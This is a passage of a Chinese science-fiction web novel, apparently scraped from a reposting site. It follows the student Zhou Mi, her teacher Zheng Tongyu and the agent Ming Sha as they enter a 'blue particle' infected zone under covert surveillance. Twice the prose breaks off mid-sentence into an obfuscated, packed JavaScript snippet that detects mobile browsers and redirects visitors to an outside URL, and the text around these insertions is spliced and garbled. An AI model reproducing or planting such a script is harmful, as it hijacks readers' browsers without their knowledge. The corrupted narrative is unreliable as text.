郑同玉咬咬牙,她看了眼下站在周觅下首的明刹,心里暗骂句没用的东西,她一挑眉,“我不放心你,你现在是学校里精神力最高的,出了这种事情,学校很不放心。” 这种冠冕堂皇的话,周觅“嗯”了一声道,“我上楼,很快下来。” 她踩着楼梯“噔噔噔”的迅速上楼,留在原地的两人对个眼神,郑同玉脸色突变,她嘲讽出声,“你也就这点本事。” “让你拖延时间,你倒好,让人顺利回来了。”她盯着站在楼下说事的楼管与一堆警察,并不屑于看明刹这个空有一张脸,办事不得力的毛头小子。 明刹倚在老旧的栏杆上,姿态闲散,不因为郑同玉这句话生气,没那个必要,栏杆被他倚的掉了一堆铁屑,哗哗地往下落。拍了拍自己的手肘两侧,回她,“我要是办好了,我就能保送进主星的联邦的科尔维斯军校,主星的三大元帅全部出自这里,我以后我会是您的上司。” 这种中二病孩子的话就是好笑,郑同玉垂下眼帘看了他一眼,又看了他一眼,随后嗤笑一声,“就你?” 赶在明刹要开口前,她脸色陡然急转而下,怒斥道,“整天想有的没的,周觅相信你了吗?你能让她心甘情愿跟你走吗?她有一个非人物种朋友,你必须要取代它的存在。” “不是死了?”明刹眼皮也不抬一下,“死人的地位怎么可能比活人的高?” 郑同玉不想同他论证这个问题,两人身为对手,本就没必要。 五楼,周觅回到家立马环顾一圈,家里的东西都没有改变位置,可她就是觉得不对劲,常人不会因为突发的事情记下自己家微小物品的摆放位置,但周觅会。 几年前,老师让他们这些住在污染区的孩子们小心些,当时出了很多逃窜的盗贼,老师唯恐他们这些小鸡仔似的孩子们被有心人盯上了。,让他们多留意家里。 周觅平日里就很留心家里的东西,东西缺了她得记得买,吃完的碗需要自己刷,毕竟姐姐和父母都在外地,她要学会怎么照顾自己,她想起来是自己很久忘记收的一个盘子,早上去上学之前还在她的书桌上,晚上到家已经安稳待在碗柜里了,很不正常。 她告诉父母还有姐姐,他们特地回来陪周觅住了一段日子,后来的确再没发生过这种事情了。 她想,这个屋子,似乎总有人在暗中观察她,照顾她,那些生活中一些琐碎的事情,对方以为她不会察觉,可她早已知晓。 周觅不想打破这里的平衡,只是郑同玉的到来,还有那个叫明刹的,已经将她的生活搅得一滩浑水。 在松软的沙发上坐下,遍布指纹的茶几还留有一点点痕迹,但茶几上的杯子没有了,它被刷好了放在玻璃柜里,昨晚周觅从那里把它拿了出来,给郑同玉倒茶。 盯着面前的茶几好久,心里起了一团迷雾,迷雾内冒出根根尖针,使劲戳她,周觅只觉得自己的手脚被绑住了,牢牢陷在这个房子的地板里。 外面确实是危机四伏,那也好过一直烂在长满霉菌的沼泽池里。 午后的北区阳光阴霾霾的,很大很亮,照的却不真切,一点不暖和,厚重的云层此刻让开了,太阳鬼阴阴的不爽利。 郑同玉和明刹,搭着二楼那个女人哭天喊地的声音出了单元楼,跟着那群老太太们待在一起晒太阳好一阵子,两人颇有点心烦意乱的又要开始东扯一句西扯一句的给对方不爽了,楼上忽然传来了两人熟悉的声音。 “郑老师,明刹,你们上来坐坐吧。” 是周觅。 两人如临大赦,尤其是明刹,终于可以上去坐坐了,他兴奋地清了清嗓子,立马往楼上奔,被邀请去家里,可谓是关系更进一步的证明啊,怎么能不激动。 郑同玉抬头看向声音来源,顺着目光所及之处往上延伸,破旧的单元楼墙皮掉了不少,有一串串爬山虎顺着墙根往上,稳稳贴在周觅探出头的五楼窗檐边。 她探出头,轻薄的刘海往下垂挂着,柳枝似的,风一吹愉快地晃,周觅整个上半身几乎都要从窗后掉出来,她的唇角大大往耳后勾去,到底是从下往上看人太恐怖,还是郑同玉心里有鬼,看谁都阴恻恻的,总之,她在进单元楼后,脑子里还浮现着周觅那双黝黑也幽深的人类瞳孔。 呼出一口堆郁在心口的气,抬脚跟上雀跃上楼的明刹,她忍不住蹙眉,瞧瞧人家周觅就给了个好脸,中二少年就高兴成这样,玩他跟玩狗似的,脑子都不带,怎么敢让他来的? 二楼楼道转弯处,警察进了张大婶家里,哭喊声小了很多,明刹被她拉住,郑同玉脸色不虞道,“我警告你,周觅家里肯定有我们找不到的东西在保护她,别乱出手。” “原来他们给你的任务是这种,不好意思了,我可不是,这种粗活我不屑去做,岂不白瞎了我这张脸?”明刹别有意味地扫了郑同玉一眼,他抖抖自己站在楼下一会就沾了不少灰尘的皮衣,转身就要往楼上走。 他模样长得俊俏,一双细长的丹凤眼贴在他骨相极佳的脸蛋上,不笑的时候兴许有点冷漠,一旦有点表情,整张脸顿时生动三分,不怪他帅而自知,德拉斯血统没有长得不好看的。 “脸脸脸,我看任务失败了,你回去有什么脸。”郑同玉冷哼一声,一脚跨三个阶梯越过他往上走,楼道狭小,明刹小幅度地歪了歪头,他下意识摸了下自己的耳钉,反正他也不急于一时,想想一开始在周觅面前的节节败退,他理了下自己的思绪,没关系,失败才是人间常态。 敲门声响起,周觅打开门请二人进来,明刹见她这么爽快开门,笑意堆上脸,“这是你家?以后我们一起上学吧。” 周觅没回他,他不生气,在屋子里面转了转,心里想着郑同玉说这房子的古怪之处,他行走的动作轻了些,细细地观察每一处。 她家里三个房间,还有一个洗手间,一间厨房,一间采光还可以的客厅,阳台从客厅向外延伸些距离,搬个摇椅放在上面,借着太阳的光影,在午后盖个毛毯晒太阳,一定很舒适。 周觅有父母也有一个姐姐,房间的数量是对的上的,卧室的门都开着通风,郑同玉打量了一圈后,状似无意开口,“你父母常回来住吗?家里打扫的很干净。” “他们都不常回来,家里有扫地机器人,还有钟点工会在周日过来打扫卫生。” 换一种更真实的回答,“扫地机器人很少开,钟点工请了才会来。”但周觅不会这么说,她也觉得奇怪,在她彻底弄清楚前,不能被外人察觉。 郑同玉的重点不在这里,她看着端茶过来的周觅,和昨晚一样的动作,不过时间转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我能不能跟你们一起?”明刹快速接话,他的小虎牙露出来,白皙的面颊云雾一般向周觅撞来,周觅礼貌回他,“你还是问郑老师方不方便。” “是你的朋友,你决定。”郑同玉摇摇头。 得,决定权又回到自己手上了,周觅抬眸在对面两人莫名紧张的注视下,她点点头,轻笑道,“好啊。” 这两人没什么太大的情绪波动,可周觅似乎听见了空气中有拉紧的弦陡然松了的声音,她的漆黑瞳孔在水盈盈的眼眶中一晃,再将视线抛给郑同玉,“老师,我们要准备什么吗?” “用不着,明晚开始前,我会带你们去换衣服。”她端起杯子抿了口水,忽然想起自己不再别人家喝一口水的原则,在周觅这忽然荡然无存了,郑同玉是全方位的喜欢眼前的这个女孩子。 喜欢她是女性的身份,喜欢她对精神力的绝对控制力,喜欢她的重情重义,至于身份什么的,德拉斯血统的确一定程度上,会帮助这个女孩子在联邦内的路平步青云。 太喜欢了,喜欢到——郑同玉必须把她牢牢攥在手心里。 郑同玉不仅仅效衷于联邦,她更有她的家族,她的抱负。 夜晚八点多,去往地下城的运输车到了,绿咕咕刚要上车,忽然想起什么似的,他终究是回头看了眼这个地上世界一眼,在周觅之前,他没有受到过善意,大部分人看他长相丑陋,都会把小偷小摸的事情往他身上安。 的确,他也干过一些小偷小摸的事情,不过都是偷走人家的剩饭剩菜什么的,那晚本来他的确是准备跟着周觅和炽音,想跟着她们,看看能不能给她们吓一跳,让她们掏点钱出来算了,但没有想到自己能有现在的机遇,绿咕咕发誓到了地下城一定好好干,让周觅对自己刮目相看。 “快点快点,上车了,不然今晚十二点的时间错过了,你们还要不要进去了。”检票员不满的声音从车厢内传来,他赶紧扛起自己的大包小包,往里面挤。 去地下城的除了他还有好多非人物种,他们只能买最下等的三等票,去最后面的车厢里面待着,售货员检完票不想在这里再多待一秒。 他坐在自己的包裹上面,包裹内就是一些衣服被子什么的,他没有多余的钱去买储物戒指,周觅给他转的钱,他舍不得全花了才只能买一个不知道几手还只能装一平方米东西的物件,他宁愿买些东西垫饱自己的肚子。 “叔叔,我可以靠在你的东西上吗?我站一天了。”一个小姑娘靠近他,是狐狸一族的,他点点头让开点位置,小姑娘与她的母亲都坐了下来,几人很快聊了聊地下城的事情,再没人说话了。 运输车要经过一大段贫民区,里面住的几乎全是非人物种和外来物种,化成人形的没化成人形的,全都挤在车的经过路线,有些妄想爬上车一起去地下城的,只会被运输车外速度极快的气流掀得血肉模糊。 然而,他们之中只有少部分人会这么做,大多数人脖颈上的能量锁会教他们怎么遵守这个世界的规矩。 绿咕咕摸摸自己脖颈上的能量锁,从他记事开始,脖颈上就有这东西,一直都是蓝色的,散发出淡淡的光,在漆黑的夜晚,他会无比自卑,他跟人类是不同的。 “妈妈,我们为什么要去地下城?”小姑娘仰起头问自己昏昏欲睡的妈妈,她妈妈双手宽厚无比,无数的血痕与伤口使这双手不像一个二十多岁的女人该有的。 一看就是经常做苦力活,绿咕咕不想让她吵醒她妈妈,替她妈妈回答,“为了更好的生活。” 为了更好的生活,也是为了找寻机会,所有被定义为非人物种,外来物种的它们能不能有朝一日摘下紧紧扣住他们命脉的东西,这个该死的能量锁! 绿咕咕被人推攘着起身,他知道到了,他没有犹豫,扛起自己的所有东西,往光亮处走。 6. 蝴蝶之死(六) 特拉克星球,早晨九点准,踩着军靴的男子推开办公室的门进来,几个在外间工作的秘书都起身问好。 其中一个跟着他往内走,“蒋少将,这是您的信件,从米拉尔星球来的,是您父母寄给您的吗?” 女秘书虽然是文职,但也有少尉的军衔,给蒋恒做秘书长才不算辱没了她,她笑眯眯地把信递到蒋恒手上,还想搭话,就见往常都温和有礼的蒋少将脸色阴沉下去,她顿时喉中一哽,说不出话了,行了个军礼,脚上套着的漂亮小皮靴略显慌乱地跑了。 蒋恒看着自己面前不算太厚,但里面应该也有个三两张纸的信封,一眼瞟见来信人的名字,他手止不住地抖。 出什么事了吗?他不放心地想。 “上午的会往后推个十五分钟。”他打内线电话到秘书办,那边很快应了声,他这才将复杂的眸光再投向这张薄薄的信封。 信封离他不远,不过一个手肘的距离,他竟然不敢去拿,更不敢拆开看,已经坐到少将的位置了,他不是胆小的人。十五分钟的时间正在快速倒计时,无端增添了许多密密麻麻的刺痛感,他的手在细颤。 他得看,必须看,是周觅寄来的,怎么能不看。 不知道她最近有没有认真学习,有没有按时吃饭睡觉,想着这些,他注视着信纸的眼神也软和了很多。 握枪多年,几乎布满茧子的手,慢慢撕开上面的封条,他抽出信纸,心却在剧烈跳动,这是第一次,周觅给他寄信,出乎他的意料,也跳出了他为她设定好的人生路线。 “蒋恒哥哥您好,您的朋友都晏将信件误寄给我了,他应该不知道你现在的地址,我把他的信黏在我的信纸后面,害怕弄丢,您记得看,祝您身体健康,万事如意。” 比起信,这只是一段话而已,蒋恒心里的失落自己都没感觉到,他抿抿唇,垂下眼帘好一阵子这才翻到背后,看完后,他眉头紧锁,桌面上是秘书早就准备好的红茶,他喜欢红茶,小时候母亲煮的红茶就很香。 回忆太惹人愁,他很快把思绪转回到这封信,立马打了个电话问总统秘书,约好了时间聊支援的事情,他这才放下内线电话。 内线电话全程录音,方便军方的工作。蒋恒想了想,自己应该没有因为这封信而情绪太过的地方,放下心来,他仔仔细细又看了几遍,这段话也不会变宽变长。 他从抽屉里上了自己瞳孔锁的小盒子里面拿出一张少女的照片,这是周觅很小很小的时候,大概五岁左右的照片,她那时候瞳孔还没这么黑,这么亮,总是贴着他要一起睡觉,如今十年过去了,她与他之间,在他的安排下,已经渐行渐远了。 把照片郑重放在盒子里面,还有最后一分钟,他锁上盒子,放在抽屉内,尽管再不舍,他也只能与她在设定好的人生里分别且疏离。 目光投向下面的家属院,里面的孩子在玩捉迷藏,周觅很小的时候,也喜欢拉着他,要做老鹰,非要抓到他这只小鸡,这么多年了……电话铃声催命一般的响起来,他接起又挂断,往门外走,太阳将他的影子拉的那么长,那么远,投到桌角,投到抽屉内的小小黑盒子上。 米拉尔星球北区,周觅下来吃早饭一路上,明刹都跟狗屁膏药似的粘着她。 她一转头,这人立马从街角的巷子里钻出来,向她打招呼,没有一点跟踪他人的直觉。 他穿了一身新的衣服,昨天套在军校服装外面的皮衣不知所踪了,军校的服装也被他脱了下来,大雪盖满了目及之处,他一身白色短款羽绒服,裤腰带下的长腿一跨,已经坐在周觅对面。 “跟她吃一样的。”他自来熟的对着给他倒了碗水的服务员说,服务员满脸不想上班的怨气,听了他这话,“哦”了一声,擦着桌子半死不活道,“她还没点。” 明刹看了周觅一眼,他哈哈笑了两声,“不会在等我吧?” 周觅冷淡地撇了他一眼,“嗯,在等你。” 她语气悠悠荡荡,听的明刹浑身舒畅,他嘴角无意识的往上勾出一个他自己都没想到的真诚笑容。 “我请你吃饭吧。”见周觅狐疑地望过来,他早就想好了理由,“初来乍到的,我以后就跟着你混,行不?” 周觅接过服务员递来已经烫过热水的碗,抬眸看了他一眼,“跟我?那你说说我有什么值得你跟着的地方。” 明刹心想,这有啥好怀疑的,但他也想了想,才郑重出声。 “我们都是德拉斯血统,你对精神力的掌控很不错,而且你文化课不是也很好吗?我文化课差的很,我在主星都说我是只会武力的牛,他们嘴烦得很。” 明刹越说越难受,他没敢看周觅的表情自己低下头来抱怨道,“我一定要在这考个好成绩,回去吓死他们。” 周觅喝了口热茶,嘴角勾了勾,笑意却不深,她轻轻敲了敲冻的梆硬的桌面,“你为什么要来米拉尔星球,我们这里的师资可不如特拉克星球。” “不会是……”周觅用那根敲了敲桌面的手指,点了下他,“专程来找我的吧?” 她这点了下他的手指,带了电一般,激的明刹一瞬间从云里雾里的高兴状态幡然醒悟,他忍不住眨了眨眼睛,干巴巴地笑了声,“怎么会。” 明刹觉得她尾音实在又飘又冷,冰锥似的往他脑门子上砸,他知道自己完蛋了,难道被周觅发现了? 他眼神暗了下来,手放在桌下肌肉饱满的腿面,无意识收紧,手腕上的暗器只要他想,周觅活不到下一秒,但是他不能这么做,上面人要她心甘情愿为联邦做事。 这么多,实在是杀敌一千自损八百,他不能这么做,不能这么做……他将杀意掩下去,手腕用力压制蠢蠢欲动的手,从而酸痛。 “怎么会这么想?”他低着头,眼神却低低地斜射过来,一把刀似的剜着她的肉。 周觅从喉咙里发出低低的几声笑,不阴沉很随意,她接过服务生端来的小笼包,拿了双筷子递给他,见他不接,她这才盯着他看了几秒,语气随和道,“我开玩笑呢。” 手里的筷子晃了晃,晃到第二下,明刹才从跟自己的挣扎中抽身。 他接过筷子,咳了两声,“谢谢。” “不管你怎么想,我都不会害你。”他把醋往周觅那推了推,手腕的酸劲缓过来了,杀意隐去,露出一双纯净的黑眸盯着她。 蘸了下醋,周觅借着吃小笼包的动作,唇角勾起个讽刺的笑,防人之心不可无,管他有害无害。 吃完早餐,周觅往家走,明刹跟着她紧一步慢一步往前走,两人脚步轻缓地丈量街道每一块砖石。 已经到单元门口,周觅察觉他心情不好,一路上没出言让他远远滚开,到了这她堵在门口,皱眉问他,“你能不能别跟着我?” 阴魂不散的,实在是不吐不快,周觅狠狠瞪他一眼,明刹讪讪摸了下自己鼻子,他觉得自己好像也有点讨厌,但还是上前一步,周觅守着单元门直直对上他,一步不退。 “我买下了二楼的房子,他们家急着出。” 才付过接近三位数早餐钱的明刹低下头声音小小,周觅撑在门框上的手狠狠抖三抖,她猛地把手从朱红的门框撤下来,带了点细碎的风声。 眼见周觅无话可说,明刹高兴地一扬唇,跟着她上了楼。 楼梯被两人一踩,发出吱吱呀呀的声音,楼梯比昨天似乎更破旧了些,行至二楼,周觅却不往上走,明刹愣了下,瞬间懂了她的意思,他一边开门,一边低垂下头,激动地问,“要进去坐坐吗?” “好啊,刚好跟你聊点事情。”周觅在他推开门,被他热情迎进去后,环顾了一圈二楼的这间屋子,示意他坐下两人好好谈谈。 明刹被她这句话勾的,从进门开始就心痒痒,但半天他都没挑好究竟坐在哪里。 坐沙发,不行,沙发上面被那个张大婶还是王大婶的哭的一滩滩湿哒哒乌黑的东西,至于凳子,又矮又奇怪的造型,估计是他家小孙子喜欢的,谁知道穿着纸尿裤的孩子有没有把口水滴上去。 嗯……至于其他的地方,明刹犹豫者,就是选不好,周觅扯着他往阳台上走,让他看那盏灯。 他还在哪哪都嫌弃的阶段,骤然被周觅从混沌不堪的屋内拽出来,阳台外的微风迎面拂来,他额头细碎的头发丝被风带起来,在严寒的空气中肆意飞舞。 “这灯怎么了?”他看不出来有什么不对的地方,周觅也感觉不到夜晚它身上的血腥气,于是从那条一楼养的猎犬说起。 “那晚我和朋友出去,在楼上听到了狗吠,可是就在我们下来的短短几分钟内,那条狗就没了脑袋,切口很整齐,绝对是一击毙命。”周觅这话越说,明刹看着那盏灯的眼神越怪。 “有一位目击证人说他亲手打碎了这盏灯,但是我回来的时候,大概是五点钟左右,楼底下的早餐店开了,没人说那盏灯坏了,你觉得呢?” 同样的死法是这间屋子主人张大婶的儿子张方,两人现在站在这里,站在说不定冤魂未散的地方,那盏灯离他们不远,挂在二楼的栏杆外面。 单元门口很矮,每次进来明刹都要低头,不然容易被撞到,他站在楼底下踮个脚,便能触碰到这盏灯,这东西明刹左看右看都觉得毫无威胁。 他坐在阳台外圈的围栏上面,这东西摇摇晃晃,不小心就会掉下去,周觅替他揪心呢,他摆摆手,左看看右看看道,“我看是你想多了。” “我也但愿是我想多了。”周觅摇摇头,往房间内退去,她以前来过张大婶家里,和十年前几乎一样的装潢,一下没变,多了两个凳子而已,她走走停停,路过这两个凳子,差点被绊一跤。 留在阳台上的明刹,他将目光投向屋内的周觅,楼底下晒太阳的老太太们缺了颗牙,说话漏风,听上去像老旧的抽烟机被打开,肆意地吸收油烟,“呼啦呼啦”的实在难听。 晚上五六点钟,太阳慢慢西斜,从被阴霾蒙住似的蛋黄色渐渐变得越来越淡,越来越淡,等蓝粒构成丝丝缕缕的雾气彻底冻住整片北区空气,夜晚就来了。 敲门声响起,光脑预报九点整的闹铃设置了静音,此刻在手腕上一闪一闪,周觅一杯红茶喝到还有三分之一的时候,郑□□带着明刹过来敲门。她打开门,郑□□将东西递给她。 “防护服?”周觅抖开她递给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238712|166206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己的衣服,“我有这个东西,我穿那个就好。” “这是特制的,我们要去的是S级蓝粒波动磁场,它甚至给其他星球的非人物种与外来物种产生了一定影响,你不穿肯定会危及到你的安全。”郑□□进了她的房间,见她还从床下抽出一个箱子,里面东西不看郑□□都知道是什么,她立马出声制止。 周觅不是不穿,她知道这种高级防护服,不需要额外的呼吸面罩,衣料可以进化空气,带上粒子判断头盔后,保证轻巧便捷,但弊端也显而易见,这件衣服是郑□□拿过来的,谁知道有没有什么录制设备,她问郑□□,“不会装了什么摄像头之类的吧?” “当然没有,你是我的学生,我得保证你的安全与隐私。”郑□□摩挲着手上布料特殊的防护服,将它塞到周觅怀里,“听我的话,按照我的要求去做,不会有任何人难为你。” 郑老师说的话太引人信服,周觅漆黑的瞳孔在眼眶里一转,将防护服上上下下扫个清楚,双手将防护服高高举起,黑色且流畅的弧线型剪裁,像一只在黑夜从高楼一跃而下,借风滑翔的鸟雀。 完美贴合她身形的服装,谁看了不得说郑老师眼光毒辣。 北区的蓝粒是上过主星教科书的,可惜大部分老师也只是进过研究院,从来没去过蓝粒感染之地,越来越多纸上谈兵的老师,明刹惊觉自己学不到什么了,他无比渴望来到米拉尔星球,见一见不同的感染区。 “学校什么时候让我们去其他感染区看一看?”几人踩在楼梯上望下走,明刹问走在最前面的郑□□,郑□□看了他一眼,“看学校的安排,你别轻举妄动,学生不允许私自去其他感染区,除非是住在感染区内的学生。” 整个中心学院,也就周觅住在感染区里面,明刹注视这些从自己眼前飘过的丝丝缕缕的蓝色粒子,它们太小了,细小的像头发丝一般浮在空气中。软软趴趴毫无威胁的样子,明刹只感觉趣味无穷。 “你们的教科书怎么说蓝粒?”周觅打开单元楼已经紧锁的门,抬眸看向他。 明刹想了半天,支支吾吾道,“大概是说蓝粒是由非人物种和外来物种,他们死后产生的一种磁场扰乱现象吧,一旦在边防线外更严重的地方有这些物种的死去,一定会产生不同的磁场影响。 轻则小范围产生波动,影响人类生活,重则会影响到许多星球,联邦一直严格管控这些生物,就是为了避免这些事情。” 虽然他成绩是真的不好,但这都是普遍的常识,明刹看了眼已经从单元楼门口出去的周觅,察觉到她心情不好,他没啥安慰女孩子的技巧,只能紧紧跟着她出去。 晚间楼道内太黑,他紧紧跟着她出去的后果就是一个不留神头撞到墙上,他就算戴了头盔还是眼冒金星,痛的“斯哈斯哈”直叫唤。 “明刹。”郑□□暗含警告地瞟他一眼,“你现在脑子清醒吗?” 明刹悄咪咪移到正在锁门的周觅身后,他眼神乱飘,郑□□看着他这没出息的样冷哼一声,暗骂,“没用的东西。” 郑□□将眼神移到正在锁门的周觅身上,密码锁重新锁上,她至始至终没看清周觅手指翻飞输入的一长串密码,至于明刹,郑□□压根没抱希望。 “这密码锁只有你能开?” 几人背好放在地上的背包,里面有一些武器和万一被磁场打扰后还能通讯的设备,乍然听见郑□□问自己,周觅点点头,“这幢楼只有我晚上出去,这密码锁是起到一个警示作用,遇上蓝粒感染者会有警报。大家都不用,它在固定时间才有效,其他时候都是无效的。” “只有你晚上出去吗?不可能吧。”明刹觉得离奇,“这么大一个房子,住了大概近一百人,晚上只有你出去?” 现在不过才晚上九点多,就没人出来了? 几人往后看,二楼楼道明显凸出的阳台,它掉了大部分铁皮,变得锈迹斑斑的栏杆上面,稳稳挂住灯与每个夜晚一样拼命发光照亮单元楼下的一小块地盘。 明刹往那盏灯看过去,只觉得它散发着一股白瓷般的冷光,又静又寒,他一把拽住想要去一探究竟的周觅,牙齿互相碰撞发着抖,“我们走吧,真的,不然错过了换班时间就完了。” 周觅被头盔蒙住的眼睛在挡光镜内眨了眨,她怕错过时间,听了明刹的话,调了调背包带子,跟着郑□□往远处走。 几人头顶上的灯光一晃一晃的飘远了,原本被灯光冲击显得浑浑浊浊的蓝粒,猛地沸腾了一般,快速向灯芯正欲燃烧的灯盏内冲去。 有人撞坏东西的碎裂声响起,灯光顿时化成一把巨大的射线,劈开了房屋遮挡,带着蓝粒疯狂咆哮着往装了密码锁的墙体内钻去,挂在一楼进去正中央的镜子昏昏的,雾蒙蒙的照不清任何东西。 血液顺着阶梯往下蔓延,黑白琴键般分割明显的阶梯,血液单单溅到纯白的那一侧,暗色调的部分仍掩埋在黑夜的阴影中,像一潭死水毫无起伏。 流浪汉踢翻了酒瓶,射线一耸一耸在昏暗的楼道内穿梭,刺破窗户,快速向流浪汉的身体俯冲,被紧紧捏爆的心脏在身体内绽开花,从嘴鼻中喷出,这是它新的作案手法。 7. 蝴蝶之死(七) 几人抵达边防线时,已经快十一点,窸窸窣窣的声音传来,站在最前面守卫的士兵快要换班正有些昏昏欲睡,忽然肩膀被人一拍,他立马将枪抬起,枪口却被拍他的人快速握住。 被弹了个脑瓜崩,小士兵大吃一惊,立马行军礼,军帽上的电筒直直照射他面前的长官,给长官镜片后眼睛照的一阵眩晕,“高上尉。” “说了外面叫队长。”高镇邱拍拍小士兵的肩膀,他的肩头有不知从哪里落下来的树叶,苦黄色叶片顺着脉络几乎全要碎开。 手一挥,立马四分五裂纷纷扬扬地飘进了昨日下的雪里面,被黑夜吞没。 “队长,今天天气很好,没有下雪。”小士兵环顾四周,高度紧绷的神经,却没有发现任何不对劲的边防线,他明显有些疲倦,高镇邱敲敲他戴了头盔的脑袋,发出无比清脆的响声,“别犯困,仔细盯着,上次把两个女孩子放进去的事情,再被发现一次,你们就给我滚出边防队。” 军靴踩在扎实绵密的雪地上,他不紧不慢地往前走,边防线的蓝里粒波动一直很危险,所有士兵都包裹的严严实实,只露出一双在防护镜后凌厉的眼睛。 高镇邱抬起手腕,手腕上光脑的时间已经快十二点,正式换班要到了,他精神力很高,在军校的时候就是S级,可惜家里人犯了事情,他终身难以晋级。 他和远在主星特拉克的蒋恒上将是同学,如果没犯事的话,他一定也在主星,而不是在这里。 高镇邱耳朵动了动,他听见了军方运输车快速经过雪地的声音,也听见了边防线内,士兵们身后,有几个人脚步与雪地的摩挲声,很小很轻,但这是他的异能。 十二点钟一到,三十秒换班时间,三人身影飞快从风中掠过,刚蹲在巨大的树干后面,从边防线内士兵头上射过来的灯光,一瞬间刺穿几人堆聚起来的蓝粒。 “他们换灯了?”周觅喃喃出声,周围一片寂静,她声音就算小也被身边两人迅速捕捉,郑同玉出声回她,“是的,你朋友是非人物种中的蝴蝶一族,精神力波动很强,你没发现这边的蓝粒比从前浓吗?” 几人蹲在树干后面,蓝粒团在每颗树木的枝桠蜿蜒处,像一个个蓝色的丝丝缕缕状的鸟巢。 “他故意放我们过来的吧?”明刹跟在两人身后走,他知道高镇邱,高镇邱家里有人犯了事情,在整个军校当时都作为八卦流传。 郑同玉嘴角勾起一个并不明显的弧度,头盔只能露出她在镜片后的眼睛,毫无笑意,她想起高镇邱,开口道,“高镇邱与蒋将军,冷外交官还有指挥官都上校,都是同一届,你姐姐周荨的男朋友不就是冷外交官?冷允南。” “高镇邱有异能不是秘密,他能听到我们的脚步声,那些能去边防线外面做任务的人,全是他放进去的,我今天带你们来,就是为了告诉你们,人外有人,天外有天,他那么强,不过一个上尉。”郑少校难得觉得某些人强,高镇邱的确算一个。 她顿了下,定住脚步,几人已经离开边防线很大一段距离,郑同玉掀起挡住几人前路的细碎树枝,一股澎拜的蓝粒气息陡然往身后的周觅与明刹身上涌去。 “前面就是,你必须杀掉蓝粒磁场干扰者,它是一具灵魂体,一个鬼魂,你不杀了她,她就会永远成为你的心魔。”郑同玉绕着周觅走了一圈,周觅那双又大又黑的眸子,直视前面落败的街道,鬼阴阴的大眼睛过分幽暗,她极其厌恶郑同玉的这番话。 明刹催着周觅往前 ,郑同玉只在原地站着,她余光瞟到一个巨大的指示路牌,“茉莉区418街道?” 她觉得有些眼熟,耳麦里却传来清冷的女声提醒声,“郑少校,请您注意周觅与明刹行动,不要转移视线。” 主星特拉克 无数的屏幕实况直播今晚三人的行动,三人身上的服装360度全是精密摄像头,郑□□的保证此刻就像一个笑话。 黑暗的房间内,除了巨大的屏幕没有其余设备亮光,过分清晰的显示屏仿佛坐在屏幕后的几人去了现场一般。 刚才提醒郑同玉的清冷女声坐在最前面,她需要时时刻刻监视郑同玉动作。 她关了麦,红色的麻花辫盘起来低低的挨在后脑勺上,转过脸,对在黑暗中的两人冷冷道,“为什么派郑□□去?” “不然派你去?你离开特拉克后,元帅位置还能坐的稳吗?”其中一个晃晃手里的红酒杯,液体晃荡的声音不大,颜色却很深,有几滴从男人的唇角往下落,他似乎吞了一颗血淋淋的人心。 女人不说话,只是冷笑一声,转过身盯着屏幕,她抱臂环胸,正对着屏幕的脸实在是五味杂陈,太过难看。 屏幕上郑同玉视线内的周觅与明刹二人已经进了418街道,这片街道应该是虚构出来的,周觅走在里面,黑夜下的418街道被厚重的蓝粒堆砌,走过去微微带起来的风,使得蓝粒如灰尘一般疯狂扬起,要不是头盔与特殊材质的衣服,现在两人一定被呛的寸步难行。 “这蓝粒什么味道啊?”明刹回头看郑同玉没跟上来,远远站在树杈后面,漆黑的夜晚,如果不是那缕被浑厚蓝雾包裹的光线,他压根分辨不了郑同玉的位置。 周觅深吸了一口,虽然现在没闻到,但她以前闻过,“这东西应该是一股鱼腥味吧,不是很讨厌。” 一说起这鱼腥味,又被蓝粒包围的明刹,忍不住想呕,“你简直是我见过最奇怪的人,这味道明明就恶心的要死。” 他想起自己在水产市场跟踪周觅,周围全是鱼贩子,他们左一条鱼又一条鳖的剁来剁去,冷冰冰的血往栈板上胡乱甩着往下滴,他当时就在想,周觅怎么会到水产市场去。 他环顾四周,想看看这个磁场波动虚构出来的街道有没有水产市场,可看着看着就有点不对劲起来,他拽拽周觅,吞咽了下口水,“你感觉这个街道像不像你家那边?” 准确来说,也是他在418街区的家。 周觅没管往自己后面缩了缩的明刹,她站在道路中央,细细打量每一处,忽然她眼神撇到一处,忍不住快速上前,“这是我的东西。” “你确定不是虚构出来的吗?”明刹看她拿着落在地上,不知道被多少人踩过,显得皱皱巴巴的小狗玩偶,嫌弃地提醒她,“我求你了,我们在做任务,不是捡垃圾。” “叮铃铃”一声巨大的中心学院班车铃声响起,掀起一阵狂风,似乎还有不属于北区的热气在两人周围翻腾,“同学,快点上车。” “来了。”周觅抱住自己的小狗玩偶就要上车,被她这一举动吓得快抽抽的明刹,一双丹凤眼快瞪成圆的,他紧紧扣住周觅的手,拼命摇头,“您是我姐行不?你别上去,这车这么诡异你都敢上,不要命了?” 在明刹眼里,这TM的就是纯纯要他的命,他在主星不是没执行过任务,有些比这级别要高,毕竟郑同玉给这里评定的是S级,可这里是虚构的街道,完全就是为了她设的局一般,谁知道上了这车还有没有下来的机会。 “我知道你在担心什么,但这绝对不是虚构的城市。”周觅上了车,明刹抿抿唇,看了她一眼,不放心她一个人在车上,一咬牙狠下心,还是上了车,紧紧贴着周觅坐下。 他问,“你凭什么肯定这不是虚构的城市?这世界上难道有第二个418街道吗?在联邦的规则下,街道的名字是不可能一样的。” 